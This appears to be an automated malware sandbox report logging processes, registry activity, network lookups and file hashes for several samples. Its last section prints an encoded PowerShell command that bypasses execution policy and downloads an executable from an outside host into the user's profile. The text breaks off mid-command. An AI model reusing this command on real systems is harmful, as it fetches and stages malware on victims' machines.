"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=2B0E4DD62A555A92244E43CA7282C3CF --mojo-platform-channel-handle=1868 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=2E3F0EE0A273DD26A857FBDE3964021C --mojo-platform-channel-handle=2660 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	149.220.183.52.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	23.159.190.20.in-addr.arpa	udp
NL	23.62.61.194:443	www.bing.com	tcp
US	8.8.8.8:53	194.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	183.142.211.20.in-addr.arpa	udp
US	8.8.8.8:53	144.96.55.23.in-addr.arpa	udp
US	8.8.8.8:53	35.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	0.204.248.87.in-addr.arpa	udp
US	8.8.8.8:53	88.156.103.20.in-addr.arpa	udp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	55.36.223.20.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	a598daff2b70932e5ea5691bd41945c8
SHA1	6f6221ba9e24b424ec560942ff138d483cf57faf
SHA256	245b7d53e50af117f00a2aa1fcfa0835a870e231c804db512862878c102eb1a2
SHA512	9ad705dc254cee5d1618f3da9cd0216261bf7c07afe4f72c7f1f94c9b27e4389de1166b8bd22c1041c5d2659a907163375cdaa4d3f9ef34cc5e4237cc55964a8

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	c48b89bc100ac02adddaedacc3bbd0be
SHA1	209d4feba0c56f33fc9c5c23dedc81d3f47d213b
SHA256	492238fb3a14aeb07b3191439252cafe7237128f6e7a4512eafb5e1aed4e8ce5
SHA512	765b88cdfc7a48cacf4004529b43f0a8e875cf2d169e6814367d05eaff2ead2c56d2809b8d8e76e79ed255bc1f7b7fd258ffd50067cd6215c53e041cf3c9fbda

Analysis: behavioral23

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240508-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-79387.-2017.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-79387.-2017.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5	12d5a689a958fd2eec8738a0762f2021
SHA1	5cce39c4920894b6b81582f321f593f8fa115995
SHA256	7ca80004f21118904d08dc298246317457703b2c9b246dda78f7c00d6882badd
SHA512	5500fb99a013e19c250948cadb4612817f2154e8902d35cd56f5ec51ef98b835b24c45ff9458d339a658467b4e04f1de2408ca6af3fa7b618a501748982ba711

Analysis: behavioral28

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win10v2004-20240226-en

Max time kernel

142s

Max time network

158s

Command Line

"C:\Users\Admin\AppData\Local\Temp\080920172142\snake.exe"

Signatures

Drops desktop.ini file(s)

Description	Indicator	Process	Target
File opened for modification	C:\Users\Admin\Videos\Captures\desktop.ini	C:\Windows\system32\svchost.exe	N/A

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	C:\Windows\system32\svchost.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C:\Windows\system32\svchost.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3808065738-1666277613-1125846146-1000\{D44EDC8C-48BF-4527-8DC6-EAC21D58176B}	C:\Windows\system32\svchost.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\OpenWith.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\080920172142\snake.exe

"C:\Users\Admin\AppData\Local\Temp\080920172142\snake.exe"

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3992 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	249.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	76.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	154.239.44.20.in-addr.arpa	udp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	149.220.183.52.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	6.173.189.20.in-addr.arpa	udp

Files

C:\Users\Admin\Videos\Captures\desktop.ini

MD5	b0d27eaec71f1cd73b015f5ceeb15f9d
SHA1	62264f8b5c2f5034a1e4143df6e8c787165fbc2f
SHA256	86d9f822aeb989755fac82929e8db369b3f5f04117ef96fd76e3d5f920a501d2
SHA512	7b5c9783a0a14b600b156825639d24cbbc000f5066c48ce9fecc195255603fc55129aaaca336d7ce6ad4e941d5492b756562f2c7a1d151fcfc2dabac76f3946c

Analysis: behavioral3

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240508-en

Max time kernel

121s

Max time network

126s

Command Line

"C:\Users\Admin\AppData\Local\Temp\drive1.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\drive1.exe

"C:\Users\Admin\AppData\Local\Temp\drive1.exe"

Network

N/A

Files

memory/2060-0-0x0000000000400000-0x00000000005B9000-memory.dmp

memory/2060-1-0x0000000000400000-0x00000000005B9000-memory.dmp

memory/2060-4-0x0000000000400000-0x00000000005B9000-memory.dmp

Analysis: behavioral24

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win10v2004-20240508-en

Max time kernel

92s

Max time network

137s

Command Line

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-79387.-2017.pdf"

Signatures

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of WriteProcessMemory

Processes

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-79387.-2017.pdf"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8F7615839A0093E95B329EAF947F3F4C --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=0B03CDFAA4859200C1F85596220E2DFB --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=0B03CDFAA4859200C1F85596220E2DFB --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A1B0BD4E5D2E2746C871F9BE8EC46B1C --mojo-platform-channel-handle=2336 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A363B16A8188255DA92833311A47695F --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=04E73EF8B3593666CB35BDF641EC0ECC --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=04E73EF8B3593666CB35BDF641EC0ECC --renderer-client-id=6 --mojo-platform-channel-handle=2508 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7884FF6086384054D54B6F1B619E4CC4 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	209.205.72.20.in-addr.arpa	udp
US	8.8.8.8:53	0.205.248.87.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	133.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	149.220.183.52.in-addr.arpa	udp
US	8.8.8.8:53	144.96.55.23.in-addr.arpa	udp
US	8.8.8.8:53	35.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	0.204.248.87.in-addr.arpa	udp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	b30d3becc8731792523d599d949e63f5
SHA1	19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256	b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512	523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	752a1f26b18748311b691c7d8fc20633
SHA1	c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256	111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512	a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5	02e22e6b3fdd32c306117e3aaed7d0a9
SHA1	ba7d303ceaf88f3b0f3be8e03fe1da10f6640f1a
SHA256	e7174f9e5b30da72d2d275787df84ea10f7405e19d60ac491157985433defca1
SHA512	3bc794f1a64b774e6f72bd45a2996f8d02b940422732d8b6b5a77cf4ec52200a45c90b5097c5e9cb836341d2822175b785b2b076c1f7902a36f0b48436078fab

Analysis: behavioral9

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20231129-en

Max time kernel

141s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe"

Signatures

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2948 wrote to memory of 2992	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 2948 wrote to memory of 2992	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 2948 wrote to memory of 2992	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 2948 wrote to memory of 2992	N/A	C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe	C:\Windows\SysWOW64\cmd.exe
PID 2992 wrote to memory of 3068	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2992 wrote to memory of 3068	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2992 wrote to memory of 3068	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2992 wrote to memory of 3068	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe

"C:\Users\Admin\AppData\Local\Temp\40837204927904720398742390874092730984723894.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c Powershell.exe -e UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AbgBvAGMAcwAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAaABlAG0AZQBzAC8AYwBhAGsAZQAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMAA2ADUAOAA0ADMALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwADYAMAA4ADEAMwBGAEQARgBFADAARgBGAEYAMAAyADAAQgBGAEUARgBGADAAOAAxADEAQwA4ADA